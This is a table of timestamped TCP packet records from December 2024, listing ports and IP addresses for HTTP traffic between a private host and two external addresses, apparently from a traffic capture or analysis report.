Dec 19, 2024 14:10:50.706382036 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.706443071 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.707366943 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.707487106 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.708456039 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.708518028 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.708537102 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.709506035 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.709618092 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.709857941 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.710371971 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.710561991 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.710700035 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.711723089 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.711731911 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.712018013 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.712908983 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.713051081 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.713838100 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.713951111 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.714236021 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.714907885 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.715033054 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.716037035 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.716207027 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.716300011 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.716411114 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.717044115 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.717170000 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.718125105 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.718296051 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.718432903 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.718497992 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.719228983 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.768341064 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.779334068 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.843537092 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.843682051 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.844130993 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.844192982 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.844218016 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.844264984 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.845067024 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.845443964 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.845499039 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.845557928 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.846550941 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.846679926 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.846954107 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.847635984 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.847690105 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.847877026 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.848701954 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.848798990 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.848954916 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.849873066 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.850027084 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.850543976 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.850872993 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.850999117 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.851051092 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.851969957 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.852176905 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.852264881 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.853096962 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.853225946 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.853286028 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.854113102 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.854196072 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.854238033 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.855216980 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.855319977 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.856234074 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.856308937 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.856411934 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.857429981 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.857558966 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.857661963 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.858608961 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.858789921 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.859988928 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.860115051 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.860173941 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.860785961 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.860872984 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.861079931 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.861627102 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.861716032 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.862262011 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.862735987 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.862857103 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.863790035 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.863852978 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.863912106 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.864973068 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.865011930 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.865075111 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.865933895 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.866055965 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.866206884 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.867007017 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.867098093 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.868125916 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.868227959 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.868266106 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.869199991 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.869291067 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.869400978 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.870234013 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.870357037 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.870373011 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.871387005 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.871457100 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.871522903 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.872402906 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.872560024 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.872659922 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.873482943 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.873651981 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.874577999 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.874635935 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.874727011 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.875653982 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.875783920 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.875922918 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.876688004 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.876815081 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.876853943 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.877794027 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.877870083 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.877909899 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.878854990 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.878997087 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.879952908 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.880072117 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.880090952 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.881043911 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.881150007 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.881261110 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.882155895 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.882256031 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.882327080 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.883200884 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.883306026 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.884366035 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.884443998 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.884452105 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.885504007 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.886378050 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.897943020 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.898101091 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.898355007 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.898505926 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.898524046 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.899569035 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.899629116 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.899888039 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.900648117 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.900753975 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.900842905 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.901686907 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.901789904 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.901910067 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.902771950 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.902930021 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.903850079 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.903901100 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.903970957 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.904901981 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.905067921 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.905498028 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.905993938 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.906187057 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.906359911 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.907249928 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.907345057 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.907449007 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.908215046 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.908330917 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.908391953 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.909235954 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.909337997 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.910245895 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.910391092 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.910511971 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.911339045 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.911370039 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.955800056 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.035887003 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.036040068 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.036093950 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.036415100 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.036514997 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.036555052 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.037511110 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.037575960 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.038573027 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.038621902 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.038707018 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.039652109 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.039694071 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.039825916 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.039870024 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.040719986 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.040829897 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.041111946 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.041842937 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.041867018 CET	49855	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:51.042026997 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.042072058 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.042928934 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.043029070 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.043078899 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.043988943 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.044152021 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.044194937 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.045099020 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.045229912 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.045346975 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.046149969 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.046174049 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.046236992 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.046792030 CET	49870	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:51.047187090 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.047333956 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.048449039 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.048507929 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.048598051 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.049431086 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.049484968 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.049562931 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.050251961 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.050671101 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.050818920 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.050870895 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.051713943 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.051790953 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.052484989 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.052791119 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.052983046 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.053025961 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.053771019 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.053868055 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.053927898 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.054752111 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.054836035 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.054887056 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.055813074 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.055907011 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.055958986 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.056888103 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.056967020 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.057008028 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.058015108 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.058115005 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.058165073 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.059045076 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.059142113 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.060012102 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.063713074 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.064182043 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.064290047 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.064305067 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.064321041 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.064335108 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.064337015 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.064354897 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.064363956 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.064372063 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.064373970 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.064390898 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.064414024 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.064470053 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.064508915 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.067845106 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.067861080 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.067917109 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.068959951 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.068975925 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.069020987 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.069451094 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.069654942 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.069694996 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.070638895 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.070653915 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.070694923 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.071620941 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.071796894 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.071830988 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.072757959 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.072932005 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.073684931 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.073781013 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.073795080 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.073811054 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.073826075 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.073849916 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.073879004 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.074121952 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.074208021 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.074254036 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.075162888 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.075247049 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.076314926 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.076361895 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.076370955 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.077162027 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.077301025 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.077419996 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.077833891 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.090045929 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.090111971 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.090204954 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.090336084 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.090486050 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.090635061 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.091461897 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.091571093 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.091650963 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.092547894 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.092623949 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.092783928 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.093605042 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.093682051 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.093724966 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.094650030 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.094757080 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.094903946 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.095798969 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.095845938 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.095901012 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.096997976 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.097115040 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.097264051 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.097923040 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.098134041 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.098198891 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.098972082 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.099181890 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.099227905 CET	49856	80	192.168.2.4	176.53.146.212
